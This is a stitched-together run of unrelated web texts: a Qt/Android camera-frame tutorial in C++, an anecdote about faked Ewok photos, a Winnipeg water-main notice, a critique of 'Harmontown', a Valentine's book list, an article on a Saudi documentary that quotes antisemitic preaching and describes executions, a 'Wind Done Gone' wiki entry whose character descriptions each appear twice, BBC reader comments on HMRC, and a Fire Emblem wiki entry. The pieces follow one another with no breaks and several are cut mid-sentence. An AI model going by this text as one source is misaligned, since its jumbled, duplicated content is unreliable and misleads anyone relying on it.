(timer, SIGNAL (timeout ()), this, SLOT (updateFrame ())); timer -> start (MILISECONDS_FOR_REFRESH); frame = 0; cameraSupport = new CameraSupport (WIDTH, HEIGHT); repaint = false; totalFrames = 1000 / MILISECONDS_FOR_REFRESH; frameTime = new unsigned long long[totalFrames]; for (unsigned int i = 0; i < totalFrames; i++) frameTime[i] = 0; currentFrame = 0; fps = 0; frameCounter = 0; time1 = time2 = 0; I guess, this code is quite clear, there is nothing special to explain. So now, let's define updateFrame () slot: void MainWindow::updateFrame (){ clock_t start = clock (); bool result = cameraSupport -> UpdateFrame (); clock_t stop = clock (); if (result){ if (frame!= 0){ delete frame; frame = 0; } frame = new QImage ((unsigned char )cameraSupport -> GetRGBA (), WIDTH, HEIGHT, QImage::Format_ARGB32_Premultiplied); repaint = true; time1 += stop - start; update (0, 0, WIDTH, HEIGHT); frameTime[currentFrame] = clock(); fps++; while (frameTime[currentFrame] - frameTime[(currentFrame - fps) % totalFrames] > CLOCKS_PER_SEC) fps--; if (currentFrame < totalFrames - 1) currentFrame++; else currentFrame = 0; } } Method UpdateFrame () from CameraSupport class returns true if new frame was loaded or false otherwise. To create QImage with new frame we just use method GetRGBA () from CameraSupport class. Notice that I use format QImage::Format_ARGB32_Premultiplied for my QImage. In my case, I display frames on a screen by using QPainter. Format that I chose makes some QPainter operations faster than QImage::Format_ARGB32. Now, let's define painterEvent (.): void MainWindow::paintEvent (QPaintEvent event){ if (!repaint) return; repaint = false; if (frame){ time2 -= clock (); QPoint topLeft = event -> rect ().topLeft (); QPainter displayPainter (this); displayPainter.drawImage (topLeft, frame); time2 += clock (); frameCounter++; qDebug () << frameCounter << ": " << time1 / frameCounter << ", " << time2 / frameCounter << ". FPS: " << fps ; } } We must remember about cleaning up memory that we allocated! In case of my project, you can find in the destructor these lines: delete cameraSupport; if (frame!= 0) delete frame; frame = 0; delete []frameTime; If you are using JavaClassLoader function from my previous article add these lines: { const char* className = "pl/ekk/mkk/necessitas/CameraSupport"; jclass clazz = env -> FindClass (className); if (!clazz){ __android_log_print (ANDROID_LOG_FATAL,"Qt", "Unable to find class '%s'", className); return JNI_FALSE; } jmethodID constr = env -> GetMethodID(clazz, "<init>", "()V"); if (!constr){ __android_log_print (ANDROID_LOG_FATAL,"Qt", "Unable to find constructor for class '%s'", className); return JNI_FALSE; } jobject obj = env -> NewObject (clazz, constr); cameraSupportClassPointer = env->NewGlobalRef(obj); } Also, add outside the function this line: jobject cameraSupportClassPointer; Variable's name is important because it's used in CameraSupport class. If you are using another solution to load Java classes, remember to create this object. Now, your project should work with Camera on Android! But there is still something to do. You can notice that paiting QImage takes lot of time. To make it faster we can take advantage of hardware acceleration by using OpenGL. Simply add to your .pro file this line: QT_GRAPHICSSYSTEM = opengl And that's all!. Now, the question is: is it possible to make it better? I guess it is! First thing which I would change is a way of displaying frames. This inconspicious operation takes a lot of time. I found an article: How to get faster Qt painting on N810 right now which could be helpful for you. Another idea is to use own version of QPaintEngine. Some clues could be found here: QGLWidget and hardware acceleration?. I guess that there is not much things that can be done with YUV to RGB conversion. Maybe there exists better algorithm which do less read/write memory operations. I was thinking about setting two pixels in one time (by using unsigned long long int instead of unsigned int*) but it will be better only in case of 64 bits architectures. You can always write some part of your code in assembler. If you want to look for more thriftiness you can try to find better solution for getting YUV data from Java. The last night I found some technology which I never used before - OpenCL. Maybe this could be also useful for decreasing time of conversion YUV to RGB or for displaying frame on a screen? Anyone has some experience with this? The last but not least - quality. If you want better quality of video frames (after conversion YUV to RGB), consider recalculating precalculated arrays. It is really important to notice that lot of algorithms requires that Y will be in range of <16, 235> and U, V will be in range of <16, 240> (YUV / YCbCr color componet data ranges) while what you really get is <0, 255> for all components. You can read more here: About YUV VIDEO. If you has some ideas, found some errors or just found this article interesting, please share with me your opinion. MKKAnthony Herrera is a geeky dad, and handy with his camera. So, when he took his kids out in a somewhat-famous forest in Northern California, it was the chance to instill some Star Wars wonder in his children: A year ago we took a trip to Sequoia National Park. I wanted to excite my daughter while being in such amazing surroundings. Being the Star Wars geek that I am (so is she), I told her that this is where the Ewoks live. She spent a good chunk of our time hiking keeping a lookout for any Ewoks. Coming home I can't say that she wasn't disappointed that we didn't find any. I had to explain that they are extremely shy and hardly ever let anyone see them. After we got home, and after I had a little time alone with the photos, I told her I thought I saw something strange in a few pictures. We viewed them on the TV to get a larger image. You can imagine how surprised and excited she was when we discovered that we didn't see any Ewoks, but they saw us, and had certainly taken an interest in her and her little brother. Maybe I'm a little wrong for lying to her and falsifying the pictures, but I don't care. She'll never forget the time she spent in the big woods with Ewoks. Check out the rest of the "sightings" after the break, and check out his website.The city is about to begin major water feeder main cleaning this week, meaning some Winnipeg residents may experience brown water temporarily. Three sections of water mains will be cleaned and inspected beginning on Thursday. Work will begin on the water main on Maryland Avenue crossing the Assiniboine River, affecting Wellington Crescent and Crescentwood. On Friday, the focus will turn to St. Boniface, Norwood, Glenwood, Varennes, Dufresne, and Archwood. The water main on Goulet Street crossing the Seine River will be cleaned. On Monday, October 26, the water main on St. James Street crossing the Assiniboine River will be cleaned. Residents in the Wellington Crescent, North River Heights, Sir John Franklin, Old Tuxedo, Edgeland, and Tuxedo areas will be affected. Those who do experience discoloured water should turn on a cold water tap and let the water run for a few minutes. Catch some water in a light-coloured cup. If the water isn’t clear, turn off the tap, wait 30 minutes and try again. If the water still isn’t clear after waiting two to three hours, contact 311. — Staff Advertisements News Highlights Related Comments comments“Harmontown” is not nearly as unpleasant as either of those shows. But at times it feels similarly like a campaign for ratification of his own resentments. Alex Pappedemas’s recent profile of Harmon for Grantland—for which Pappedemas spent 36 hours on the road with the former showrunner—described the tour as an extension of Harmon’s deep-seated desire to “be out there in direct communication with the small but passionate group of people who liked his TV show because he wanted to connect.” And to listen to podcasts of “Harmontown” from the weeks after Harmon’s firing is to hear a man emphatically in his element, fueled by reflected indignation, cordoned off inside a critical world of his own creation. “I probably did some stuff to get fired,” he says in one performance. “I’m sure I did. Like, I never ever did anything they wanted me to do.” The audience, of course, ate it up. The woe-is-me comedy act has been around for a long time—it’s no accident that Harmon name-dropped Lenny Bruce, whose shtick became increasingly self-referential over the course of his career, down to an ill-fated Australia tour in 1962 that ended with his arrest. But there seems to be something particular to our cultural age about this phenomenon: the idea that a showrunner or a late night host or a TV star, banished from his network, would descend from the screen to seek refuge amid his staunchest supporters. The age of social media, of course, has changed the relationship between TV and its audience. Showrunners are encouraged to commune with their viewers, to respond to their tweets and comments and blog posts. Shonda Rhimes, creator of ABC’s “Scandal”and “Grey’s Anatomy,” retweets and replies to fans in real-time as each episode of her show is airing. “Community” viewers were small in number, but particularly active online. And Harmon has long been known for his neurotic preoccupation with keeping his finger on the pulse of his fan base. “I am a major addict of the Tumblr blog about me called ‘Having Changed,’” he declared in one "Harmontown" podcast. “You’re overly obsessive about reading the comments section in reviews of your show,” added his emcee, Jeff Davis, and Harmon laughed. Listening to “Harmontown” is a sad reminder of the deficiencies of post-Harmon “Community.” NBC replaced Harmon with two veteran showrunners, but the show is not the same. The strokes are broader, the laughs cheaper. Its talented cast seems suddenly like kids in a school play toting too-big props, unsure of how to handle the tools and tricks they used to brandish so deftly. The season premiere featured a segment in which the show toggled between the actual characters and Abed’s imagined TV-versions of their lives: Suddenly they transformed into hammy sitcom stars mugging for a laugh track or animated babies in a “Rugrats”-esque cartoon. All the old, winking shtick—Abed’s voiceovers, Annie’s cluelessness about her sexuality, Pierce’s cheerful bigotry—is newly blatant. The best part of “Community” under Harmon was its awareness of the whole absurd project of making a TV show, its formulas and its cheesy tropes. Now “Community” feels like it is straining under the weight of its phantom auteur’s vision. Its meta-ness has gained a clunky extra layer of meta; it knows what it used to be, but it has forgotten how to be it. We may have entered an age of TV auteurship—in which the totalizing visions of creators like Lena Dunham and Louis C.K. and Matthew Weiner are behind some of our most critically-acclaimed series—but the process of making a television show, especially a network sitcom, has always been collaborationist. There is the writers’ room, the relentless feedback from executives, the rotating cast of directors from episode to episode. And these comedy tours—live, spontaneous, unfiltered, often an unmitigated mess—are about as far from the world of network TV as possible, a clear attempt to escape the suits and the structure. They are a photographic negative of the tightly managed, processed, knee-jerk world of network sitcoms, with its corporate hierarchies and its demographic number-crunching. They feel a bit like the social-media echo chamber incarnated: the star or the showrunner immersed in self-curated reinforcement, a room full of fans sharing an intense and particular sense of aggrievement. There is a movie coming out about “Harmontown”—not unlike Conan O’Brien Can’t Stop—which will ostensibly follow Harmon as he travels the country in the months after NBC gave him the ax. In Conan’s case, the tour ultimately bruised his image even more, making him seem peevish and sour, oblivious to his own relative privilege. Sheen’s tour played like a bad satire of himself, a desperate bid to exploit the last gasps of his fame. But listening to the odd, intense, alternately hilarious and baffling “Harmontown” podcasts is uncomfortable in a different way: It confirms both Harmon’s singular genius and NBC’s reasonable grounds for replacing him. In some ways “Harmontown” is a cautionary tale of a showrunner feeding off the hermetic flattery of a self-constructed feedback loop.Books can never stand you up, or leave their clothes on the floor, or forget to get toilet paper EVEN WHEN YOU ASKED SO MANY TIMES, and that's why you can't go wrong spending Valentine's Day curled up with a story. Here are some books about love for every type of valentine. For the hopeless romantic... Undermajordomo Minor by Patrick DeWitt This story begins like a more traditional fairy tale but turns into a strange tale about the darker side of unrequited love. The story culminates in one of the more bizarre love scenes in recent literary memory. This quirky tale is perfect for the hopeless romantic. For those who think outside the box... The First Bad Man by Miranda July This is a kinky story about a lonely and strange middle-aged woman who, when she begins to live her sexual fantasies vicariously through another person, embarks on a journey into an exciting and violent relationship with a younger woman. July’s novel is a must-read for those willing to step outside their comfort and usual erogenous zones. For the dark and twisted... Bear by Marian Engel This unconventional love story between a lonely librarian and a bear is one of a kind. Engel won the Governor’s General award for this beautifully written story of lust, loneliness and one woman’s erotic obsession with a forest friend. This book is recommended for the most twisted of valentines out there. You know who you are. For the feminist who just wants to relax... The Department of Speculation by Jenny Offil It’s nothing new: Offil’s character is a writer, professor, a mother, a lover, a wife trying to balance it all — a balancing act that's familiar to most women. This novel reads like a poem and is ultimately about a woman's desire to create being stunted by the mundane reality of the relationships around her — professional and domestic. Offil’s exquisite musings are like a box of chocolates for the feminist brain that is constantly seeking to just be. For the Valentine's Day hater... The End of the Affair by Graham Greene This timeless story about an adulterous affair that becomes obsessive and poisoned by jealousy. The perfect read for the jilted lover, or those who love a good heart-wrenching and don’t care about a happy ending.Video Apartheid South Africa looked after white people and nobody else. Now some of its white communities face a growing and often violent crisis which threatens their future in the country. Some estimate that across the country there may be up to 400,000 poor white people living in squatter camps with little or no water or electricity. BBC World Affairs Editor John Simpson, who once lived in South Africa, examines the challenges facing white South Africans - despite their continued disproportionate influence on the country's economy and media. "They still have the best houses, and most of the best jobs," he said. "Look below the surface and you will find poverty and a sense of growing vulnerability." Watch BBC News: The Editors on BBC One at 23:30 BST on Monday 20 May and afterwards on the BBC iPlayer. It is also on BBC World News.Five bodies hang from a pole suspended between two cranes, a public display which serves as a reminder to those who might contemplate a life of crime. They belonged to a gang of five robbers, all of whom were publicly beheaded before their corpses were hoisted high in the air, where they remained for days. The gruesome sight is one scene in a shocking documentary to be aired this week which sheds light on life in Saudi Arabia, one of the world’s bloodiest and most secretive countries. This gruesome sight is one scene in a shocking documentary to be aired this week which sheds light on life in Saudi Arabia, one of the world’s bloodiest and most secretive countries Five bodies hang from a pole suspended between two cranes, a public display which serves as a reminder to those who might contemplate a life of crime The film, Saudi Arabia Uncovered, contains harrowing footage of beheadings The film, Saudi Arabia Uncovered, contains harrowing footage of beheadings. A woman dressed in black is held down at the side of a public road by four Saudi policemen, after she has been convicted of killing her stepdaughter. She is executed with a sword blow to the neck, as she screams: ‘I did not do it.’ We have all heard of the brutality of the Saudi regime, but what makes this documentary so chilling is that we see it on camera. In another beheading scene, the executioner, dressed in the white robes typically worn by Saudi men, raises his curved sword above his head and brings it down in a single sweep. The documentary introduces viewers to a large public space nicknamed Chop Chop Square because it is the site of so many executions in the Saudi capital, Riyadh. The camera lingers on the red-stained drainage system used to wash away the blood of those executed. Police are seen brandishing whips against women, who are considered second-class citizens. At one point they brutally knock a woman to the ground and you hear her scream. In a similar vein, a male supermarket customer pushes a female shopper to the floor for no apparent reason. He then walks past her, oblivious to her anguish, as she scurries terrified out of his way. What the film makes abundantly clear is that the country is a murderous dictatorship which refuses to tolerate dissent. The documentary introduces viewers to a large public space nicknamed Chop Chop Square because it is the site of so many executions in the Saudi capital, Riyadh Yet Saudi Arabia remains one of Britain’s closest allies, not just in the Middle East but worldwide, as it has for nearly a century. We sell them arms. They sell us oil. The royal families of each country are close. Prince Charles has made numerous trips to the kingdom and, when King Abdullah died last year, flags at Westminster flew at half-mast in a highly unusual tribute to a foreign ruler. Our leaders conveniently overlook the truth about the desert kingdom. In Saudi Arabia, even a minor criticism of the regime can result in a lashing or long prison sentence. Beheadings, the film makes clear, are commonplace — so far this year, the country has been executing its people at the rate of almost one a day. Ferocious moral codes are enforced by the religious police as they patrol the streets and shopping malls. Blasphemy is punishable by stoning or execution, theft by amputation. Anyone found guilty of insulting Islam faces ten years in prison or perhaps 1,000 lashes. The outside world is kept in ignorance of most of this because it is impossible for foreign journalists to report from or film in Saudi Arabia without minders. Indeed, it is difficult to get into the country even as a tourist. Only because of the extraordinary bravery of the film’s makers, and Saudi democracy activists who helped them, is the truth now being aired Only because of the extraordinary bravery of the film’s makers, and Saudi democracy activists who helped them, is the truth now being aired. The documentary is based on six months of undercover filming and its footage of beatings and beheadings is disturbing enough. But it also exposes the extremes of wealth and poverty in this oil-rich country. Furthermore, it tells the story of the men and women who dare to speak out against the Saudi dictatorship, and reveals the terrible price they have to pay for their courage. The film, to be shown tomorrow night, is a shared production by ITV and the Public Broadcasting Service in the U.S. This is the same broadcasting combination which caused a storm of international controversy when, nearly 36 years ago, it screened Death Of A Princess, the story of a Saudi princess and her lover who were executed for adultery. In the resulting furore, the British ambassador to Saudi Arabia was expelled and trade contracts were broken off. The film was condemned by the Foreign Office because it offended Saudi rulers, and it has never been reshown on British television. Already, similar pressure is being brought to bear over this new documentary. Saudi activist Loujain al-Hathloul, who campaigns for women’s rights in a country where women are not even allowed to drive — and who was jailed and treated as a terrorist after posting an online video of herself driving a car — has received death threats after taking part in the film. It is easy to see why such an exposé might be greeted with horror by the Saudi establishment. The brutality aside, secret filming in a Saudi mosque shows a preacher spreading grotesque anti-Semitic messages. ‘The Jews have abused, dictated and contaminated the land,’ he says. ‘So, oh Allah, stop them and spill on them the whip of torture, don’t let their flag fly high, and make an example of them.’ The film reveals how hatred is directed at other religions in Saudi schools. One of the secret cameramen asks a 14-year-old Saudi boy what he is taught at school. Back comes the reply: ‘The Christians should be punished with death until there are none left. They should be beheaded.’ But schoolchildren are not just taught to direct hatred at Christians and Jews. They are also instructed to turn on Shia Muslims, a substantial minority in Saudi Arabia. The boy says chillingly: ‘We learn that the Shia are blasphemers. They should be punished by death. We should fight them in the name of Islam.’ It is easy to see why such an exposé might be greeted with horror by the Saudi establishment The film includes rare footage of desperate Shia in the east of Saudi Arabia bravely protesting against their oppression. It illustrates how one young protester, Ali Nimr, was arrested at the age of 17 and sentenced to be beheaded, with his headless body displayed publicly for two days for his role in the protests. The British Government says it has received assurances that he will not now be killed, but Saudi media reports last week suggested he could be executed imminently. Ali’s uncle, Sheikh Nimr, a controversial Shia cleric, was executed on January 2 this year, along with 46 other men, in Saudi Arabia’s largest execution since 1980. The British Government is well aware of all the brutality meted out in Saudi Arabia. Here is what the UK embassy in Riyadh says in its information pack for British prisoners in the desert kingdom: ‘The Saudi courts impose a number of severe physical punishments. The death penalty can be imposed for a wide range of offences including murder, rape, armed robbery, repeated drug use, apostasy, adultery, witchcraft and sorcery, and can be carried out by beheading with a sword, stoning or firing squad.’ The death penalty can be imposed for a wide range of offences including murder, rape, armed robbery, repeated drug use, apostasy, adultery, witchcraft and sorcery, and can be carried out by beheading with a sword, stoning or firing squad Anyone who protests against the Saudi regime faces harrowing punishments. One blogger, Raif Badawi, was convicted of insulting Islam after making public comments about his government and Islam. ‘The only way to deal with an unfree world,’ he wrote, ‘is to become so absolutely free that your very existence becomes an act of rebellion.’ For comments like this, Badawi, a father of three whose family now live in exile, was sentenced to 1,000 lashes and ten years in jail. The religious police even ban the playing of music in public. The film contains disturbing footage of them smashing a lute which was being played on a beach. The police ruthlessly enforce their militant version of Islam, known as Wahhabism. There is footage of these state-sponsored fanatics forcing women to cover themselves, complaining about them wearing make-up and herding people out of cafes to pray. The official title of the religious police is the Committee for the Promotion of Virtue and the Prevention of Vice. Chillingly, only two other movements in the world — the Taliban in Afghanistan and Islamic State in Syria and Iraq — have organisations with the same name. The Saudi government has always denied that it has any connection either with Islamic State or with Al Qaeda. Nevertheless, both jihadist organisations endorse the state religion which Saudi Arabia has spent an estimated $70 billion (£48 billion) exporting around the world. This is a documentary that exposes the deep hypocrisy of Saudi Arabia’s relationship with Britain and the West Britain is determined to maintain this relationship even though the country it deals with is, by any definition, barbaric Saudi Arabia denies any link to terrorism, and is indeed preparing to send troops to fight Islamic State in Syria. But this film examines evidence to suggest that there were links between the Saudis and Al Qaeda in the period before the attack on the Twin Towers on 9/11. It is well known that 15 of the 19 Al Qaeda-inspired 9/11 hijackers were Saudi citizens
the life of the daughter of a wealthy slave owner, Scarlett O'Hara, The Wind Done Gone tells the story of the life of one of her slaves, Cynara, during the same time period and events. The title is an African American Vernacular English play on the original's title. Cynara's name comes from the Ernest Dowson poem Non sum qualís eram bonae sub regno Cynarae,[citation needed] a line from which ("I have forgot much, Cynara! gone with the wind") was the origin of Mitchell's novel's title. Plot summary [ edit ] Gone with the Wind revolves around Scarlett O'Hara, a pampered Southern woman, who lives through the American Civil War and Reconstruction. The Wind Done Gone is the same story, but told from the viewpoint of Cynara, a mulatto slave on Scarlett's plantation and the daughter of Scarlett's father and Mammy. Sold from the O'Haras, Cynara eventually makes her way back to Atlanta and becomes the mistress of a white businessman. She later leaves him for a black aspiring politician, eventually moving with him to Reconstruction Washington, D.C. Characters [ edit ] Cynara —The narrator of the novel, the recently freed slave is the daughter of white plantation owner Planter and his slave Mammy. She has a lifelong rivalry with her half-sister Other, sparked by jealousy that Mammy paid more attention to the white baby. They both came to love R. —The narrator of the novel, the recently freed slave is the daughter of white plantation owner Planter and his slave Mammy. She has a lifelong rivalry with her half-sister Other, sparked by jealousy that Mammy paid more attention to the white baby. They both came to love R. Mammy —Cynara's mother and Other's wet nurse, Mammy doted on Other while neglecting her own daughter. Her masters believe she is a loyal slave, but the other slaves suspect that she killed Lady and Planter's male children—given to her to nurse—so that Planter would be Cotton Farm's last white master. Her real name, Pallas, is so rarely used that her daughter didn't learn it until after her death. A clear parallel to Gone with the Wind's Mammy, she is the only major character called by the same name in both books. —Cynara's mother and Other's wet nurse, Mammy doted on Other while neglecting her own daughter. Her masters believe she is a loyal slave, but the other slaves suspect that she killed Lady and Planter's male children—given to her to nurse—so that Planter would be Cotton Farm's last white master. Her real name, Pallas, is so rarely used that her daughter didn't learn it until after her death. A clear parallel to's Mammy, she is the only major character called by the same name in both books. Other —The daughter of Planter and Lady, Other formed a strong bond with her wet nurse Mammy. When her youngest daughter dies in an accident and her husband R. leaves her, she returns to Mammy and the Cotton Farm. Parallel to Scarlet O'Hara in Gone with the Wind. —The daughter of Planter and Lady, Other formed a strong bond with her wet nurse Mammy. When her youngest daughter dies in an accident and her husband R. leaves her, she returns to Mammy and the Cotton Farm. Parallel to Scarlet O'Hara in. R. —Other's husband R. leaves his wife and takes Cynara as a mistress and kept woman. Cynara sees him as a prize that she can win in her rivalry with her half-sister Other. While R. loves Cynara for her beauty, he never tries to understand her. Parallel to Rhett Butler in Gone with the Wind. —Other's husband R. leaves his wife and takes Cynara as a mistress and kept woman. Cynara sees him as a prize that she can win in her rivalry with her half-sister Other. While R. loves Cynara for her beauty, he never tries to understand her. Parallel to Rhett Butler in. Beauty —A brothel owner who once owned Cynara, Beauty is a source of advice for the young woman. Although she had an affair with R., Cynara believes she is a lesbian. Parallel to Belle Watling in Gone with the Wind. —A brothel owner who once owned Cynara, Beauty is a source of advice for the young woman. Although she had an affair with R., Cynara believes she is a lesbian. Parallel to Belle Watling in. Garlic —Planter's manservant Garlic is the architect of his master's success, his master's marriage and the house Tata. He used his wits and patience to manipulate Planter, with the goal of becoming the estate's real master. Cynara suspects that he may also be the mastermind behind Planter's death. Parallels Pork in Gone with the Wind. —Planter's manservant Garlic is the architect of his master's success, his master's marriage and the house Tata. He used his wits and patience to manipulate Planter, with the goal of becoming the estate's real master. Cynara suspects that he may also be the mastermind behind Planter's death. Parallels Pork in. Lady —After the death of her cousin Filipe, her only love, Lady joined Planter in a chaste marriage. Hurt by the close relationship between Other and Mammy, she would sometimes care for and breast-feed Cynara. She kept a secret that could destroy her family: she learned that one of her distant ancestors was black, which by the One-drop rule made her and her children Negro. Parallel to Ellen O'Hara in Gone with the Wind. —After the death of her cousin Filipe, her only love, Lady joined Planter in a chaste marriage. Hurt by the close relationship between Other and Mammy, she would sometimes care for and breast-feed Cynara. She kept a secret that could destroy her family: she learned that one of her distant ancestors was black, which by the One-drop rule made her and her children Negro. Parallel to Ellen O'Hara in. Planter —Though he doted on his daughter Cynara when she was young, he gave her away to another family when he realized that she was Other's rival. His passion was for Mammy, not for his wife. Parallel to Gerald O'Hara in Gone with the Wind. —Though he doted on his daughter Cynara when she was young, he gave her away to another family when he realized that she was Other's rival. His passion was for Mammy, not for his wife. Parallel to Gerald O'Hara in. The Dreamy Gentleman —The unobtainable knight of Other's dreams, the Dreamy Gentleman chose to marry his plain cousin Mealy Mouth and live respectably. As a homosexual, he was horrified by Other's advances; he secretly loved Miss Priss' brother. When his lover revealed the affair to his wife, Mealy Mouth had the slave whipped to death. Parallels Ashley Wilkes in Gone with the Wind. —The unobtainable knight of Other's dreams, the Dreamy Gentleman chose to marry his plain cousin Mealy Mouth and live respectably. As a homosexual, he was horrified by Other's advances; he secretly loved Miss Priss' brother. When his lover revealed the affair to his wife, Mealy Mouth had the slave whipped to death. Parallels Ashley Wilkes in. Miss Priss—Garlic's daughter holds a grudge against Mealy Mouth, whom she blames for two of her brothers' deaths. One of her brothers was whipped to death when Mealy Mouth discovered his affair with her husband. The other starved to death as a baby when his mother became wet nurse to Mealy Mouth's child. The whites believe she was psychologically broken by her brothers' deaths, but the slaves believe that she is a crafty woman who is responsible for Mealy Mouth's death. Probable parallel to Prissy in Gone with the Wind. Similarity to characters in Gone with the Wind [ edit ] The book consciously avoids using the names of Mitchell's characters or locations. Cynara refers to her sister as "Other", rather than Scarlett, and to Other's husband as "R" (and later, "Debt Chauffeur") instead of Rhett Butler. Other is in love with "Dreamy Gentleman" (Ashley Wilkes), although he is married to "Mealy Mouth" (Melanie Wilkes). The magnificence of the O'Haras' house, Tara, is reduced to "Tata" or "Cotton Farm", and Twelve Oaks is renamed for its builders, "Twelve Slaves Strong as Trees". Legal controversy [ edit ] The estate of Margaret Mitchell sued Randall and her publishing company, Houghton Mifflin, on the grounds that The Wind Done Gone was too similar to Gone with the Wind, thus infringing its copyright.[1] The case attracted numerous comments from leading scholars, authors, and activists, regarding what Mitchell's attitudes would have been and how much The Wind Done Gone copies from its predecessor. After the U.S. Court of Appeals for the Eleventh Circuit vacated an injunction against publishing the book in Suntrust v. Houghton Mifflin (2001), the case was settled in 2002 when Houghton Mifflin agreed to make an unspecified donation to Morehouse College in exchange for Mitchell's estate dropping the litigation.[2] The cover of the book bears a seal identifying it as "The Unauthorized Parody." It is parody in the broad legal sense: a work that comments on or criticizes a prior work. This characterization was important in the Suntrust case.HMRC is considering plans to deduct tax directly from workers' pay packets before salaries reach their bank accounts. In a discussion paper from the Revenue, employers would no longer be responsible for deducting tax and instead would give information on gross salaries to HMRC. This comes in the wake of bad headlines for the Revenue over tax code mistakes which has led to 1.4 million people facing demands to pay back underpaid tax. Should HMRC be given the power to deduct tax directly from your pay packet? Will a centralised system enable HMRC to gather more up to date and accurate financial data about you? Do you think that removing the responsibility of employers to deduct tax from your pay packet could lead to less or more mistakes over tax codes? Tell us your views Send us your views YOUR COMMENTS It really seems that the lunatics have taken over the asylum. Michael, Norwich I think its an excellent idea. I am an employer and it will simplfy things for us, and cut out the hassle of sending tax to the revenue. Richard, Llandudno An absolute recipe for disaster. Nicky, Suffolk God forbid the faceless bureaucrats taking hold of your hard earned cash. Phil, Stockport I am appalled to hear of this crazy suggestion for Direct taxation. Sue, Manchester In principle a good idea, but it does create a huge computing system that brings its own problems. Bruce, Edinburgh This is such a dreadful idea words almost fail me. For the last 30 years I have watched in horror as successive governments have squandered billions of pounds on failed IT projects. This one would undoubtedly join that list. Alan, Cumbria A good idea but it may take 5 years to plan & implement. The Inland Revenue Collection division would have to be privatised as accountability for the operation of an efficient system is paramount. It is certainly worth considering. Brian, Country Antrim Time for change, but not state control of the wages! Andrew, Chippenham Been here before - 25 million times in November 2007. Basically, you would not trust HMRC to run a village fete. Keep it with local employers - at least you can talk to them. Brian, Lancaster NO NO NO!! I have only heard about this proposal this morning and I am absolutely horrified that section 5 in the report is even being considered. HMRC are hardly renown for their accuracy and even their ability to answer the phone so how on earth could they think they could manage to pay every employee in the Country their wages accurately and on time. This is absolute madness and I will be making sure that everyone I know is aware that this is being proposed and that they have their say! Pam, Staines Your personal details will only be used by the BBC for the purpose of publishing your comments. Please note that if your comments are published, your name and location may also be published. Name Town / city E-mail address Comments The BBC may edit your comments and not all emails will be published. Your comments may be published on any BBC media worldwide. Terms & Conditions The comments we publish are not necessarily the views of the BBC but will reflect the balance of views we have received. It is helpful if contributors state if they work for any organisation relevant to an issue discussed. Readers should form their own views on whether messages published represent undeclared interests, or views prompted by a common source. Occasionally Money Box or Inside Money may wish to contact Have Your Say contributors about future programmes. If you find this acceptable we ask you to include your e-mail address. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionFire Emblem: Radiant Dawn[a] is a tactical role-playing game developed by Intelligent Systems and published by Nintendo for the Wii home console. It is the tenth entry in the Fire Emblem series,[b] and acts as a direct sequel to the 2005 GameCube title Fire Emblem: Path of Radiance. It released in 2007 in Japan and North America, and 2008 in Europe and Australia. Radiant Dawn's plot begins in war-torn Daein with the main character Micaiah and her allies rebelling against the oppressive Begnion Occupational Army. The story is divided into four parts, and changes perspective between different factions within the continent of Tellius. The gameplay is similar to Path of Radiance and previous Fire Emblem titles, with units moving across a grid-based map in turn-based battles, and characters unrelated to the core plot being subject to permanent death if defeated. Radiant Dawn began development in 2005 for the Wii after the success of Path of Radiance. Continuing the trend of developing for home consoles after a period on portable devices, it was intended to release close to the Wii hardware's release so as to boost sales for both game and hardware. Radiant Dawn has been positively received by critics, many of whom criticised only the game's high difficulty. Gameplay [ edit ] Radiant Dawn A battle in Radiant Dawn retains the gameplay mechanics of Fire Emblem: Path of Radiance, with turn-based battles taking place on a square-based grid. Most of the Path of Radiance cast returns, including all of its playable characters (except Largo), as well as figures new to Tellius.[5] Data from a completed Path of Radiance save file can be transferred to Radiant Dawn via a Nintendo GameCube memory card, which can lead to characters obtaining statistical gains. Support conversations from Path of Radiance can also be accessed and viewed using this method. In Radiant Dawn, the "support" system has been altered so that a unit can support any other unit, although units can only have one support relationship each. A secondary support known as a "bond" is also available, which is active by default or obtained when two units have attained an "A" support level in Path of Radiance.[6] Radiant Dawn's multifaceted plot and lack of a permanent main character leads to the player controlling different factions in the game. In the later stages of the game, the player's units will battle against a previously playable set of enemy units;[6][7] despite the "permanent death" feature common to the Fire Emblem series, some partner units and previously playable enemy units defeated in battle will still be playable later in the game. Radiant Dawn introduced new features relating to unit development, such as double promotion for beorcs, which grants the unit a special skill dependent on the unit's class.[5][6] New features have also been added to the laguz units, including a maximum level increased to 40, the ability to fight untransformed, and the presence of the wolf laguz.[6][8] There are also modifications to combat, including an elevation advantage which grants units at a greater altitude with more power and accuracy.[2][6] Radiant Dawn introduces the highest level of weaponry, known as "SS", which requires a unit to have used a particular weapon type many times. In previous Fire Emblem games, archers could not attack adjacent units, but the crossbow, as well as a few other bows, allows such units to attack both adjacent and distant units. Dark magic, omitted from Path of Radiance but present in earlier games, was reintroduced to form a second magical trinity (akin to the rock-paper-scissors system) alongside the one in Path of Radiance.[6] Plot [ edit ] Radiant Dawn is divided into four parts, each of which begins with a prologue chapter that introduces the situation, followed by a series of chapters that is resolved with an "Endgame" chapter. Three years after the Mad King's War, detailed in Path of Radiance, Daein, the war's instigator and eventual loser, and the victorious nation Crimea are still in the process of rebuilding. Although Crimea is ruled by Queen Elincia, Daein lacks a proper successor and is instead ruled by the occupation forces of the Begnion Empire. The Daein people are oppressed by the corrupt Begnion senate and imperial soldiers. A group of Daein rebels named the Dawn Brigade, headed by Micaiah and Sothe, act as vigilantes to provide some measure of hope against the oppressors. After being driven from the capital, the Dawn Brigade flees into the northern desert. There they encounter the heron prince Rafiel and the wolf laguz queen Nailah, whose people have not been seen in Tellius for millennia. Soon after, the Dawn Brigade locates and allies with the late King Ashnard's orphan son Pelleas, his scheming and ruthless adviser Izuka, and the former general of Daein known as the Black Knight. The group launches a guerrilla war against the occupation army, liberating former soldiers of Daein from prison camps and gaining the loyalty of the people. Micaiah's efforts become legendary during these campaigns, with the people of Daein dubbing her the "Silver-Haired Maiden." Word of the plight of the Daein people eventually reaches Empress Sanaki of Begnion, who sends her trusted advisor Sephiran to Daein to reign in the occupation army. The senate disavows and scapegoats occupation leader General Jarod, who is overthrown and killed by the liberation army in an assault on the capital. Unbeknownst to them all, Izuka tricks Pelleas into signing a contract known as a blood pact with the head of the Begnion senate, Lekain, which will kill increasingly large numbers of Daein citizens when triggered. Word of Pelleas' ascension reaches Crimea, and Queen Elincia's recognition of Pelleas as Daein's rightful ruler outrages the Crimean nobility. Fear that Crimea's hated enemy is rebuilding creates discontent throughout all levels 